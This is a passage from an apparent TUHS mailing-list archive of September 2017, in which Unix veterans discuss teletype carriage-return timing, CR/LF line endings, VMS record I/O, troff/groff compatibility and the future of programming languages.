References: <201709040147.v841l3kf031858@elf.torek.net>
Message-ID: <359f6155-7791-5277-18f4-a2cc08deeb45@dunnington.plus.com>

On 04/09/2017 02:47, Chris Torek wrote:
>> That's not right.  Yes, the ASR33 runs at 110 baud (10cps), but all -
>> including mine and those of my friends -  take more like half a dozen
>> character times to perform a CR from the right hand side.
> 
> Hm, OK.  I recall actually seeing the trick performed on
> *something* though.
> 
> (I hooked up an old ASR 33 to someone's system with a current loop
> circuit at one point, plus a bit-bang driver, and I thought I
> remembered it being this particular ASR 33 on which I saw the trick,
> but it might have been something else.)

I don't doubt it's possible, just not on an ASR33.  Apart from the 
timing issue, the carriage return mechanism on Teletype 33s inhibits 
printing while the carriage is moving back, until it stops at the left 
margin.

-- 
Pete
Pete Turnbull


From steffen at sdaoden.eu  Mon Sep  4 22:12:53 2017
From: steffen at sdaoden.eu (Steffen Nurpmeso)
Date: Mon, 04 Sep 2017 14:12:53 +0200
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
 Unearthed!
In-Reply-To: <alpine.BSF.2.21.1709040801550.48526@aneurin.horsfall.org>
References: <201708301234.v7UCYsPQ002608@freefriends.org>
 <7584bb4ccd27f08f443484b80152e4da@bl.org>
 <CAJfiPzx+=qFWOghCGkoQau7EkcbA7HETCJFQxbZUJ88qAc4_0Q@mail.gmail.com>
 <201708311329.v7VDThNT012493@freefriends.org>
 <CAJfiPzyBc12iXgvSRpkQj194Qg8aW5O0fg6rLg27L3Siu_Jqew@mail.gmail.com>
 <alpine.BSF.2.21.1709031054520.48526@aneurin.horsfall.org>
 <201709031207.v83C7Cmc032133@freefriends.org>
 <alpine.BSF.2.21.1709040801550.48526@aneurin.horsfall.org>
Message-ID: <20170904121253.gCdXu%steffen@sdaoden.eu>

Dave Horsfall <dave at horsfall.org> wrote:

 |On Sun, 3 Sep 2017, arnold at skeeve.com wrote:
 |
 |> There aren't any CRs in the original files. Something got mangled in the 
 |> email maybe.
 |
 |Then it must've passed through an MS/DOS gateway :-)

Or it has been base64 re-encoded along the way (many do this
without being asked) and that process (i think correctly)
converted to the said, and some stupid mailer took that data for
granted.  (E.g., my one does, yet, it only has a hack to remove
the CRs when going to display the data.  Iirc.)

--steffen
|
|Der Kragenbaer,                The moon bear,
|der holt sich munter           he cheerfully and one by one
|einen nach dem anderen runter  wa.ks himself off
|(By Robert Gernhardt)


From torek at torek.net  Tue Sep  5 01:33:49 2017
From: torek at torek.net (Chris Torek)
Date: Mon, 04 Sep 2017 08:33:49 -0700
Subject: [TUHS] Line Terminators in Text Files [Was: Re: Why Pascal is
	Not My Favorite Programming Language - Unearthed!]
In-Reply-To: Your message of "Sun, 03 Sep 2017 20:58:02 -0600."
 <CANCZdfr7UefCu1gQBJLL-mZ6Kz4x6u7qoJM9aEN+PBYUv9g00w@mail.gmail.com>
Message-ID: <201709041533.v84FXniH035351@elf.torek.net>

>Time delay for physical movement of the print head is the main
>reason that termcap has entries for the number of NUL characters
>to insert after carriage return.

This is not quite right.  For instance, there are delay values for
line and character insert and delete operations, which were
required back when terminals were slow and bit rates were inching
up ("stty 19200" finally going in as a name for EXTA, one of the
two externally-controlled bit rates in the old drivers...).

(The 4BSD tty driver had CR/LF delays built in, too, no doubt
inherited from 32V. It had to be done in the tty driver, not in
termcap, since command line utilities mostly did not use termcap
in the first place.)

As for termcap delays: some of the software on those terminals was
particularly bad.  The Heathkit H19, for instance, implemented the
repeat-counted line and character insert and delete ANSI escape
sequences ESC [ %d <code> with a loop that inserted or deleted one
line or character, N times.  (I had an H19, and kept it in this
mode instead of the other one that did not have the N-character
ops -- even with the required delays, if you got the editor to use
them, they were much faster over slow modems.)

(I hacked on the Gosling Emacs display driver quite a bit to tune
it up for our displays, including the Ann Arbor Ambassador displays
that did up to 60 lines in Squint Mode.)

Chris


From doug at cs.dartmouth.edu  Tue Sep  5 01:45:00 2017
From: doug at cs.dartmouth.edu (Doug McIlroy)
Date: Mon, 04 Sep 2017 11:45:00 -0400
Subject: [TUHS] [Groff] It is time to modernise "groff"
Message-ID: <201709041545.v84Fj0qn029704@coolidge.cs.Dartmouth.EDU>

>  troff has a substantial history.  Significant
changes in troff could invalidate most of the old documents leaving troff
with no usage base, and a poor tool at rendering all of the troff documents
out there.

As a living example, I have troff files from as far back as 1975 that
still work, and perhaps some even older that have lost their dates due
to careless copying.  The only incompatibility with groff is easy to
fix: inserting a space before the arguments of a troff request. The
few other incompatibilities I've encouuntered have been graciously
corrected by groff maintainers. You get no such help for old Word files.

doug


From paul.winalski at gmail.com  Tue Sep  5 03:29:59 2017
From: paul.winalski at gmail.com (Paul Winalski)
Date: Mon, 4 Sep 2017 13:29:59 -0400
Subject: [TUHS] Line Terminators in Text Files [
In-Reply-To: <CAC20D2MbSa3YxkkKdYUj01R0C-cnm0Bv6d+dAsBtEhHCegL4Qw@mail.gmail.com>
References: <CAC20D2MbSa3YxkkKdYUj01R0C-cnm0Bv6d+dAsBtEhHCegL4Qw@mail.gmail.com>
Message-ID: <CABH=_VS8TNJSStmgSyT9xifbqtbsWQqN_0XaPss2oVwJn3B=8Q@mail.gmail.com>

On 9/3/17, Clem Cole <clemc at ccc.com> wrote:
> On Sun, Sep 3, 2017 at 11:08 AM, Warner Losh <imp at bsdimp.com> wrote:
>>
> ​The fun story on that Warner is after years of dogged defense of RMS, when
> C was written for VMS, Cutler had to add Stream I/O.   The moment is was
> released, much (?most?) of customer base (including a lot of internal folks
> like the compiler runtime and DB folks) switched to using it.   It was so
> much easier.​  I never heard Dave back down, but it I used to smile when I
> saw the statistics.
>
Dave Cutler had left the VMS OS group by this time and was
implementing the VAX Code Generator (VCG) as the back end for DEC's
PL/I and C compilers.  He had to do some fancy footwork with buffering
in the C runtime to implement stream I/O on top of the record-oriented
RMS.  There were plenty of odd edge conditions that couldn't be made
to work properly or efficiently.

The first true stream I/O interface in VAX/VMS was in a device driver
for UNIX-style pipes that I wrote for the DEC Shell product, which was
a Bourne shell implementation for VAX/VMS.  VMS pipes could operate in
either record mode (each QIO write represents a record; each QIO read
returns one record's worth of data) or stream mode (each QIO write is
buffered up as a record until a "write end-of-record" QIO is seen; QIO
reads return the number of bytes requested, or up to the end of a
record, whichever occurs first).

RMS finally got a true stream mode interface circa VAX/VMS version 5,
three releases after the DEC C compiler was first released.

I was once a firm believer in the virtues of a record-oriented I/O
interface such as RMS, but after using UNIX and Linux for several
years I became a convert to stream I/O as the base primitive.  One can
always implement record I/O on top of stream I/O if you want it, but
it's difficult to do it the other way round.

-Paul W.


From paul.winalski at gmail.com  Tue Sep  5 03:44:21 2017
From: paul.winalski at gmail.com (Paul Winalski)
Date: Mon, 4 Sep 2017 13:44:21 -0400
Subject: [TUHS] Line Terminators in Text Files [Was: Re: Why Pascal is
 Not My Favorite Programming Language - Unearthed!]
In-Reply-To: <cfb786623cc4a7df90c6009394bfff527b31f440@webmail.yaccman.com>
References: <alpine.BSF.2.21.1709031252120.48526@aneurin.horsfall.org>
 <cfb786623cc4a7df90c6009394bfff527b31f440@webmail.yaccman.com>
Message-ID: <CABH=_VRUjy5ntNMgSijUBuUfZ9tWcYhgBfJ4G0w9tBXoeetqnA@mail.gmail.com>

On 9/3/17, Steve Johnson <scj at yaccman.com> wrote:
> I think the reason for this is pretty obvious.  At the time -- for
> many of the paper terminals, line feed simply rotated the platen, and
> the print head stayed at the same column position.  Carriage return
> returned the print head to the first column without advancing the
> paper (remember overstriking?).  But there were also some terminals
> that both advanced the paper and returned the print head (I'm hazy
> about this, but I think the IBM Selectric was one...).

IIRC, you're right about this.  I'm pretty sure I remember the IBM
2741 and friends (the Selectric terminals) operating this way.
>
> I do remember one guy who wrote his program to output LF/CR instead of
> CR/LF.   The teletype driver would do a LF and then space out to the
> previous column and then do a carriage return.  Pretty painful at 300
> baud!

At 110 baud, the model 33 Teletype took up to two character times to
return the typeball to the left margin when executing a CR.  You
needed to follow CR with two non-printing characters to avoid
erroneously striking a character in the middle of the line.  With
CR/LF, the LF served as one of these non-printables.  CR/LF/NUL was
the common sequence used to return the carriage and advance the
platen.  If you did LF/CR you'd need LF/CR/NUL/NUL, thus wasting one
character time.  So just about everyone implemented newline as CR/LF
rather than LF/CR.
>
> Doug might remember better than I but I suspect some terminal did the
> combined CR/LF only, so that's why Unix adopted it.

I suspect UNIX used LF as EOL for two reasons:  [1] as just mentioned,
nearly everyone did CR/LF vs LF/CR, and [2] breaking lines on the LF
allowed for overstriking.

-Paul W.


From cym224 at gmail.com  Tue Sep  5 04:28:12 2017
From: cym224 at gmail.com (Nemo)
Date: Mon, 4 Sep 2017 14:28:12 -0400
Subject: [TUHS] [Groff] It is time to modernise "groff"
In-Reply-To: <201709041545.v84Fj0qn029704@coolidge.cs.Dartmouth.EDU>
References: <201709041545.v84Fj0qn029704@coolidge.cs.Dartmouth.EDU>
Message-ID: <CAJfiPzx65B31=nhBkHBY72qjPc2f3pURngTq1uAroUzOaP=iZA@mail.gmail.com>

On 4 September 2017 at 11:45, Doug McIlroy <doug at cs.dartmouth.edu>
wrote (in part):
 You get no such help for old Word files.

Off-topic but I find that members of the StarOffice lineage can read
older files of almost anything.

N.


From doug at cs.dartmouth.edu  Tue Sep  5 04:32:34 2017
From: doug at cs.dartmouth.edu (Doug McIlroy)
Date: Mon, 04 Sep 2017 14:32:34 -0400
Subject: [TUHS] Line Terminators in Text Files
Message-ID: <201709041832.v84IWYF2030885@coolidge.cs.Dartmouth.EDU>


> When did LF replace CR/LF in UNIX?


Never. Unix always took LF as newline--an interpretation
blessed by the ASCII standard. The convention was
inherited from Multics.

Interpolation of CRs was the business of drivers, not file
formats.

As far as I know, the only CR/LF terminal that original
Unix dealt with was the model 33 console. That was identified
by the fact that the login name was received in all caps.
IIRC the TTY 37 conformed to Multics practice on the advice
of Joe Ossanna.

Because of the model 33, login names were case-insesitive.
Come to think of it, I don't know whether they still are
in general, though they must be for email to be delivered by
login name.

Doug


From clemc at ccc.com  Tue Sep  5 04:34:18 2017
From: clemc at ccc.com (Clem Cole)
Date: Mon, 4 Sep 2017 14:34:18 -0400
Subject: [TUHS] Line Terminators in Text Files [
In-Reply-To: <CABH=_VS8TNJSStmgSyT9xifbqtbsWQqN_0XaPss2oVwJn3B=8Q@mail.gmail.com>
References: <CAC20D2MbSa3YxkkKdYUj01R0C-cnm0Bv6d+dAsBtEhHCegL4Qw@mail.gmail.com>
 <CABH=_VS8TNJSStmgSyT9xifbqtbsWQqN_0XaPss2oVwJn3B=8Q@mail.gmail.com>
Message-ID: <CAC20D2NEc+V9mb2HJwtC_dmNJY61=0mgDdrnk=O=DOANMBJrGw@mail.gmail.com>

On Mon, Sep 4, 2017 at 1:29 PM, Paul Winalski <paul.winalski at gmail.com>
wrote:

> I was once a firm believer in the virtues of a record-oriented I/O
> interface such as RMS, but after using UNIX and Linux for several
> years I became a convert to stream I/O as the base primitive.  One can
> always implement record I/O on top of stream I/O if you want it, but
> it's difficult to do it the other way round.

​Amen - this was my point with Dave​.

One thing, I'll grant him though from the VAX-11/C experiment which I was
wrong at the time.  In those days, I hated that he had ignored Dennis'
'register' keyword.  As a programmer and thinking in terms of C being a
better assembler, I liked being able to control the compiler.   But in my
years of eating lunch you and the other folks in the compiler group I
admit, I admit you have won me over.   You guys can do a better job than I
can, particularly with random architectures.    If code is to be portable,
then let the compiler to the register assignment.

Dave was right about about that one, but maybe we shouldn't tell me him one
of the old UNIX guys I said that.

Clem
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170904/c9a73106/attachment.html>

From jon at fourwinds.com  Tue Sep  5 04:28:03 2017
From: jon at fourwinds.com (Jon Steinhart)
Date: Mon, 04 Sep 2017 11:28:03 -0700
Subject: [TUHS] [Groff] It is time to modernise "groff"
In-Reply-To: <201709041545.v84Fj0qn029704@coolidge.cs.Dartmouth.EDU>
References: <201709041545.v84Fj0qn029704@coolidge.cs.Dartmouth.EDU>
Message-ID: <201709041828.v84IS3dx005283@darkstar.fourwinds.com>

Doug McIlroy writes:
> >  troff has a substantial history.  Significant
> changes in troff could invalidate most of the old documents leaving troff
> with no usage base, and a poor tool at rendering all of the troff documents
> out there.
> 
> As a living example, I have troff files from as far back as 1975 that
> still work, and perhaps some even older that have lost their dates due
> to careless copying.  The only incompatibility with groff is easy to
> fix: inserting a space before the arguments of a troff request. The
> few other incompatibilities I've encouuntered have been graciously
> corrected by groff maintainers. You get no such help for old Word files.
> 
> doug

Ah, troff.  It was my introduction to UNIX.  I was working in 2C-217 and
there was a PDP-11/45 across the hall running UNIX Version III.  I used
it to write the documentation for the GLANCE-G software.

I still use troff for my work.  I charge clients a word-penalty if they
want docs in that format because it's so much harder to use.  One of the
main reasons that I like troff is that I find that having to think about
formatting while writing interferes with my writing process.  Also, I can
seldom get word to make a table come out the way that I want like I can
with tbl.  And not being an artist, I can't drawing figures without pic.
One of the unsung great things about pic is the way that one can create
a scaffold of invisible objects behind a drawing so that pieces can be
moved and scaled easily.

My current big annoyance is that my publisher has a word/adobe process and
won't accept troff.  I have hacked together a script that converts my macros
into openoffice XML which gets me most of the way there.  Part of what it
does is export all of the tables and figures to separate files, runs them
through, converts them to PDF and then to SVG which is the only non-bitmap
form that can be imported.

The groff folks did a great job of maintaining compatibility.  My wish list
for changes is pretty small.  It would be nice to have some additional
features in pic.  And it would be good to be able to use any Unicode character.
And, it would be cool to have an option for two-dimensional page formatting
optimization ala TeX.

Jon


From rminnich at gmail.com  Tue Sep  5 06:25:53 2017
From: rminnich at gmail.com (ron minnich)
Date: Mon, 04 Sep 2017 20:25:53 +0000
Subject: [TUHS] [Groff] It is time to modernise "groff"
In-Reply-To: <201709041828.v84IS3dx005283@darkstar.fourwinds.com>
References: <201709041545.v84Fj0qn029704@coolidge.cs.Dartmouth.EDU>
 <201709041828.v84IS3dx005283@darkstar.fourwinds.com>
Message-ID: <CAP6exY+Ydz_bh4bWDn6XyE4htpNcT_zKKAEHvf_bj5yP3K=X7w@mail.gmail.com>

I've found it weird to say the least that usenix doesn't accept troff, but
will take Word documents.

The plan 9 troff pipeline is still quite complete. A few years back Russ
Cox pointed out that new CPUs were so fast that running a statically-linked
troff pipeline to process a paper was pretty much instantaneous.

He was right and, for a few years, for tech papers, I just switched back to
troff/tbl/pic/grap and friends. It was nice.

ron
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170904/43d4ac8f/attachment.html>

From rminnich at gmail.com  Tue Sep  5 06:28:27 2017
From: rminnich at gmail.com (ron minnich)
Date: Mon, 04 Sep 2017 20:28:27 +0000
Subject: [TUHS] Line Terminators in Text Files [
In-Reply-To: <CAC20D2NEc+V9mb2HJwtC_dmNJY61=0mgDdrnk=O=DOANMBJrGw@mail.gmail.com>
References: <CAC20D2MbSa3YxkkKdYUj01R0C-cnm0Bv6d+dAsBtEhHCegL4Qw@mail.gmail.com>
 <CABH=_VS8TNJSStmgSyT9xifbqtbsWQqN_0XaPss2oVwJn3B=8Q@mail.gmail.com>
 <CAC20D2NEc+V9mb2HJwtC_dmNJY61=0mgDdrnk=O=DOANMBJrGw@mail.gmail.com>
Message-ID: <CAP6exYL9WuknUFSuc0eVyQ7HXEuzTkqt9NcfRB+n05jSLaF-RA@mail.gmail.com>

with one exception, Clem. Forsyth's port of Ken's C compiler let you
allocate r14 and r15 for your own purposes. Hence in Plan 9 they were used
for 'current process' and 'current core'. As I understand it gcc allows
this too.

Every once in a while it's nice to have that level of control. We gave it
up when we got plan 9 running with gcc and clang and it was painful ...

ron
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170904/2bce00b7/attachment.html>

From rminnich at gmail.com  Tue Sep  5 06:30:54 2017
From: rminnich at gmail.com (ron minnich)
Date: Mon, 04 Sep 2017 20:30:54 +0000
Subject: [TUHS] Line Terminators in Text Files [Was: Re: Why Pascal is
 Not My Favorite Programming Language - Unearthed!]
In-Reply-To: <CABH=_VRUjy5ntNMgSijUBuUfZ9tWcYhgBfJ4G0w9tBXoeetqnA@mail.gmail.com>
References: <alpine.BSF.2.21.1709031252120.48526@aneurin.horsfall.org>
 <cfb786623cc4a7df90c6009394bfff527b31f440@webmail.yaccman.com>
 <CABH=_VRUjy5ntNMgSijUBuUfZ9tWcYhgBfJ4G0w9tBXoeetqnA@mail.gmail.com>
Message-ID: <CAP6exYL1VZGQBWvZ8mWzMVsvrTi1Ank0OBjsOEf-t_md=9wHYg@mail.gmail.com>

using cr/lf as end of line also introduced all kinds of problems on the DEC
OSes I used, to wit, what do
CR alone
LF alone
and LF/CR

mean? It was just a pain in the neck. I was grateful to get to an OS that
was sensible and just used LF.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170904/0f782b60/attachment.html>

From bakul at bitblocks.com  Tue Sep  5 06:41:28 2017
From: bakul at bitblocks.com (Bakul Shah)
Date: Mon, 4 Sep 2017 13:41:28 -0700
Subject: [TUHS] Line Terminators in Text Files [Was: Re: Why Pascal is
 Not My Favorite Programming Language - Unearthed!]
In-Reply-To: <CAP6exYL1VZGQBWvZ8mWzMVsvrTi1Ank0OBjsOEf-t_md=9wHYg@mail.gmail.com>
References: <alpine.BSF.2.21.1709031252120.48526@aneurin.horsfall.org>
 <cfb786623cc4a7df90c6009394bfff527b31f440@webmail.yaccman.com>
 <CABH=_VRUjy5ntNMgSijUBuUfZ9tWcYhgBfJ4G0w9tBXoeetqnA@mail.gmail.com>
 <CAP6exYL1VZGQBWvZ8mWzMVsvrTi1Ank0OBjsOEf-t_md=9wHYg@mail.gmail.com>
Message-ID: <6DBAA238-C952-4C36-BC39-B62616F1B770@bitblocks.com>

CR by itself could be used for overstrike (e.g. if you wanted to underline
words). Faster than char, backspace, overstrike-char if you wanted lots
of this. LF by itself, not so much. Could've been if there was an inverse
linefeed.

> On Sep 4, 2017, at 1:30 PM, ron minnich <rminnich at gmail.com> wrote:
> 
> using cr/lf as end of line also introduced all kinds of problems on the DEC OSes I used, to wit, what do
> CR alone
> LF alone
> and LF/CR
> 
> mean? It was just a pain in the neck. I was grateful to get to an OS that was sensible and just used LF.



From bakul at bitblocks.com  Tue Sep  5 06:44:14 2017
From: bakul at bitblocks.com (Bakul Shah)
Date: Mon, 4 Sep 2017 13:44:14 -0700
Subject: [TUHS] Future Languages (was Pascal not Favorite...)
In-Reply-To: <e2b9a48d33d28cc42717092e6061146617d09620@webmail.yaccman.com>
References: <e2b9a48d33d28cc42717092e6061146617d09620@webmail.yaccman.com>
Message-ID: <721E742D-75EE-4269-AF23-8FC39421EDF2@bitblocks.com>

> On Sep 1, 2017, at 11:15 AM, Steve Johnson <scj at yaccman.com> wrote:
> 
> 

> I may just be a grumpy old fart, but I think programming languages today are holding us back.   Nearly all of them...

I think the problem is much wider than just programming languages.

Most of our PLs, programs & tools are basically for single machine things. Our compilers, linkers, debuggers can only handle this case well. With a few exceptions.

This is not a good fit for a major class of applications today: service software. This is typically composed of a number of loosely coupled programs running on a set of networked machines. Managing this is done in a very ad-hoc & complicated manner (e.g. kubernetes). A service is implemented with essentially a distributed program but our tools don’t make it easy to compose or debug such programs. Things like dockers, containers, jails are complicated ways of dealing with problems we run into re: security, fault isolation, resiliency, scalability etc.

At the other extreme, dealing with GPUs or specialized processors with zillion cores, each with a small amount of memory etc. is also painful and ad-hoc.

In this context even if you prove a single component to be bug free, how can you have confidence in the whole system? It is well-nigh impossible to test all the gazillion ways a system can fail on a small scale or large (e.g. a java based component ran out of file descriptor or a packet gets misrouted or firewall rules are not quite right). Moving to something like Cloud would be an improvement over docker & VMs but that still leaves open the composition aspect.

Now likely there isn't a single silver bullet for all of this but our present systems are far more complicated than they need to be.

> On Sep 1, 2017, at 11:15 AM, Steve Johnson <scj at yaccman.com> wrote:
> 
> 
> "Toby Thain:  We will never reach a point where programming language evolution stops, imho."
> 
> I may just be a grumpy old fart, but I think programming languages today are holding us back.   Nearly all of them...
> 
> I'm currently working for a hardware company (Wave Computing).   We are building a chip with 16K 8-bit processors on it, and have plans to build systems with up to 1/4 million processors from these chips.
> 
> Nevertheless, most programs today are still written pretty much like they were 25 years ago.   And they are, for the most part, based on threads where the programming task is to set out a number of steps:  do this, do that, do something else, test this and if true do this, ...      A single serial thread.  Things like multicore CPUs are a desperate attempt to preserve this model while the hardware world has blown past us.
> 
> Recall that parallelism is the natural state of hardware.  It takes effort to make things work sequentially.  In the old days, when hardware and software used pretty much the same model, many if not most of the hardware innovations came from first being done in software, and then moved into hardware -- index registers, floating point, caches, etc. etc.    That process has effectively stopped.  The single thread model simply no longer fits the sweet spot of today's hardware technology.
> 
> Just to underscore how far hardware has advanced:  If cars had become as much cheaper and faster as computers from 1970 to today, we could buy 1000 Tesla Model S's for a penny and they would go 0-60,000 mph!   A petabyte of data, if punched onto punch cards, would make a card deck whose height would be 6 times the distance to the moon.   If the recent estimate of the number of bytes of data produced by the human race every day (2.5 quintillion bytes) is correct, when punched up that card deck would be 9 times the distance to the sun.
> 
> I'm not saying that there isn't a place for languages like GO and Python.  Most people will continue to think serially and design things that way.  But when it comes to implementing these designs, the current "systems" languages are left at the starting gate.   In the same way that we invented abstraction methods like functions and processes for the old computers, we need to invent newer abstraction methods that go far beyond co-routines and threads and message passing.  If we get bogged down in telling tens of thousands of processors "do this, do that" we will perish long before our program works.  Of particular relevance is the role that abstractions play in debugging --they partition the job into pieces with known interfaces and behavior that can be tested in isolation before being assembled into complete systems.
> 
> Yes, I have some ideas (and not much time to work on them...) but, even if I had a perfect solution available today, I suspect it would take decades before it caught on.   In order to accept a solution, you first have to believe there is a problem...
> 
> Steve
> 
> 
> 
> ----- Original Message -----
> From: "Toby Thain" <toby at telegraphics.com.au>
> 
> 
> We will never reach a point where programming language evolution stops,
> imho.
> 
> --T
> 

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170904/36212d03/attachment.html>

From rminnich at gmail.com  Tue Sep  5 06:55:32 2017
From: rminnich at gmail.com (ron minnich)
Date: Mon, 04 Sep 2017 20:55:32 +0000
Subject: [TUHS] Future Languages (was Pascal not Favorite...)
In-Reply-To: <201709012333.v81NX7jU020037@elf.torek.net>
References: <CAP6exYK6EdXeTSn7Hj9Lj-g=oMnbYgwjiLVCXcDQEAhB32rO9Q@mail.gmail.com>
 <201709012333.v81NX7jU020037@elf.torek.net>
Message-ID: <CAP6exYKQkcA0v49U05L319Qvrf-gYksegxAzGY42s_OVD7WnUQ@mail.gmail.com>

On Fri, Sep 1, 2017 at 4:33 PM Chris Torek <torek at torek.net> wrote:

>
>
> Well, "Go channels are bad" :-)
>
> http://www.jtolds.com/writing/2016/03/go-channels-are-bad-and-you-should-feel-bad/
>
>
>
thanks. Great article. He does hit on many of the things I've found
annoying.

It leads me to wonder: maybe Go 2 should fix this stuff.

And now I stop, as I am totally off the topic...
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170904/27670aaf/attachment.html>

From lyndon at orthanc.ca  Tue Sep  5 06:43:40 2017
From: lyndon at orthanc.ca (Lyndon Nerenberg)
Date: Mon, 4 Sep 2017 13:43:40 -0700
Subject: [TUHS] [Groff] It is time to modernise "groff"
In-Reply-To: <201709041828.v84IS3dx005283@darkstar.fourwinds.com>
References: <201709041545.v84Fj0qn029704@coolidge.cs.Dartmouth.EDU>
 <201709041828.v84IS3dx005283@darkstar.fourwinds.com>
Message-ID: <2F9DFD6B-947C-491A-A1A7-CFB77B7E31E5@orthanc.ca>


> On Sep 4, 2017, at 11:28 AM, Jon Steinhart <jon at fourwinds.com> wrote:
> 
> The groff folks did a great job of maintaining compatibility.  My wish list
> for changes is pretty small.  It would be nice to have some additional
> features in pic.  And it would be good to be able to use any Unicode character.

The Plan9 *roffs handle UTF-8 natively.  I thought the Heirloom Tools version of troff had been extended to do so as well?  But I have never used the latter, so what do I know ...



From scj at yaccman.com  Tue Sep  5 07:28:23 2017
From: scj at yaccman.com (Steve Johnson)
Date: Mon, 04 Sep 2017 14:28:23 -0700
Subject: [TUHS] Future Languages
In-Reply-To: <1504450095.23320.for-standards-violators@oclsc.org>
Message-ID: <d58d7b6933bca6fcce5a3019ad4f8aee7df564fc@webmail.yaccman.com>


"From: "Norman Wilson" <norman at oclsc.org>

 I'm (still) with Larry Flon on this one:

 There does not now, nor will there ever, exist a programming language
 in which it is the least bit hard to write bad programs."

Well, there's bad and there's bad.   Programs that are the result of
flawed thinking or a misunderstanding of the language or the
environment can't be helped by a programming language.  Programs with
a well thought-out and appropriate set of concepts and structures can
be hard to write if the language doesn't support these concepts and
structures.  That was the point of Brian's note.  If the language
doesn't support what you want to, danger may lie ahead.

A particularly vivid example for me is string handling -- I mean real
strings, with concatenation and the ability to add characters onto the
beginning, middle or end of the string .  At one point in the past,
Bell Labs and Xerox Parc were two groups that had produced some
impressive programs.  I spent some time at Parc, and ended up envious
about the ability of LISP programmers to dynamically add on to almost
anything with a high degree of safety.  This really changed the way
one thought about some programs.  Doing strings in C usually involves
pointers pointing at small things, which, given how easy it is to
index past the end, was like playing with razor blades.   C++
allowed you to surround such things with safety nets, but sometimes
the performance impact was unfortunate.   A similar example  is the
ability to grow an array.  This plays very badly with C's pointers --
if you move the array, then anybody pointing to it (and, often, there
are many such) has a stale pointer-bomb that could go off at any time
without warning.  If you don't move the array, but add on additional
pieces, then it is no longer contiguous, so some operations (like
scanning all the elements) get very complicated as well.

I don't think there would be much argument that writing a garbage
collector from scratch in plain C is hard and dangerous.  Using a
language that has garbage collection built in makes sense, assuming
you can afford the performance penalty.  Using a better algorithm is
a better bet, but may be impossible.

The C/C++ model of a single large common address space has caused
problems for parallel programs for decades, first with message passing
and later with multicore.  In multicore, the "solution" is
increasingly sophisticated caches and cache coherency circuits that
can end up thrashing and making things slower if not well
understood.  And the best solution may well be dependent of the
particular chip.

These are, for the most part, examples of how powerful and useful
models don't fit into C's world view very comfortably.  A lot of C's
power, and Pascal's deficiencies, come because C doesn't prevent you
from doing things that are outside of its model, and Pascal does.

Maybe it would be more precise to say that some languages strictly
enforce their world view, making programs that accord with that world
view easy and others difficult.  And other languages loosely enforce
their world view, making it possible to do more than the former
languages, often with performance advantages, but with more danger
that bugs will not be detected.

I guess I like Demer's wording better...

Steve 


-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170904/9e0540c4/attachment.html>

From steffen at sdaoden.eu  Tue Sep  5 07:53:54 2017
From: steffen at sdaoden.eu (Steffen Nurpmeso)
Date: Mon, 04 Sep 2017 23:53:54 +0200
Subject: [TUHS] [Groff] It is time to modernise "groff"
In-Reply-To: <2F9DFD6B-947C-491A-A1A7-CFB77B7E31E5@orthanc.ca>
References: <201709041545.v84Fj0qn029704@coolidge.cs.Dartmouth.EDU>
 <201709041828.v84IS3dx005283@darkstar.fourwinds.com>
 <2F9DFD6B-947C-491A-A1A7-CFB77B7E31E5@orthanc.ca>
Message-ID: <20170904215354.ofbhK%steffen@sdaoden.eu>

Lyndon Nerenberg <lyndon at orthanc.ca> wrote:
 |> On Sep 4, 2017, at 11:28 AM, Jon Steinhart <jon at fourwinds.com> wrote:
 |> The groff folks did a great job of maintaining compatibility.  My \
 |> wish list
 |> for changes is pretty small.  It would be nice to have some additional
 |> features in pic.  And it would be good to be able to use any Unicode \
 |> character.
 |
 |The Plan9 *roffs handle UTF-8 natively.  I thought the Heirloom Tools \
 |version of troff had been extended to do so as well?  But I have never \
 |used the latter, so what do I know ...

The groff list had some interesting ideas how this could be
achieved for groff, too.  And those tools can UTF-8 input.
They also can other things, if you go for using them.  They can
not generate the output for my (simple) macros that these generate
for groff, the traps do not work the same, but i never really
digged into that.  They can also TrueType fonts.  And they have
a nice simple build system.  All this would be great to have for
groff.

--steffen
|
|Der Kragenbaer,                The moon bear,
|der holt sich munter           he cheerfully and one by one
|einen nach dem anderen runter  wa.ks himself off
|(By Robert Gernhardt)


From lm at mcvoy.com  Tue Sep  5 07:59:24 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Mon, 4 Sep 2017 14:59:24 -0700
Subject: [TUHS] Future Languages
In-Reply-To: <d58d7b6933bca6fcce5a3019ad4f8aee7df564fc@webmail.yaccman.com>
References: <1504450095.23320.for-standards-violators@oclsc.org>
 <d58d7b6933bca6fcce5a3019ad4f8aee7df564fc@webmail.yaccman.com>
Message-ID: <20170904215924.GE14353@mcvoy.com>

On Mon, Sep 04, 2017 at 02:28:23PM -0700, Steve Johnson wrote:
> A particularly vivid example for me is string handling -- I mean real
> strings, with concatenation and the ability to add characters onto the
> beginning, middle or end of the string .?? At one point in the past,
> Bell Labs and Xerox Parc were two groups that had produced some
> impressive programs.?? I spent some time at Parc, and ended up envious
> about the ability of LISP programmers to dynamically add on to almost
> anything with a high degree of safety.?? This really changed the way
> one thought about some programs.?? Doing strings in C usually involves
> pointers pointing at small things, which, given how easy it is to
> index past the end, was like playing with razor blades.???? C++
> allowed you to surround such things with safety nets, but sometimes
> the performance impact was unfortunate.???? A similar example?? is the
> ability to grow an array.?? This plays very badly with C's pointers --
> if you move the array, then anybody pointing to it (and, often, there
> are many such) has a stale pointer-bomb that could go off at any time
> without warning.?? If you don't move the array, but add on additional
> pieces, then it is no longer contiguous, so some operations (like
> scanning all the elements) get very complicated as well.

So we have some source (that you can have as well, Apache license)
that handles not strings but vectors of strings (or structs or whatever).

I need to write up how it works, it's sort of clever.  It stores both
the size of the vector (always a power of 2) in part of the bits of the
first entry and the actual length in the other part.  Because we can
express powers of two in very little space we can support both values
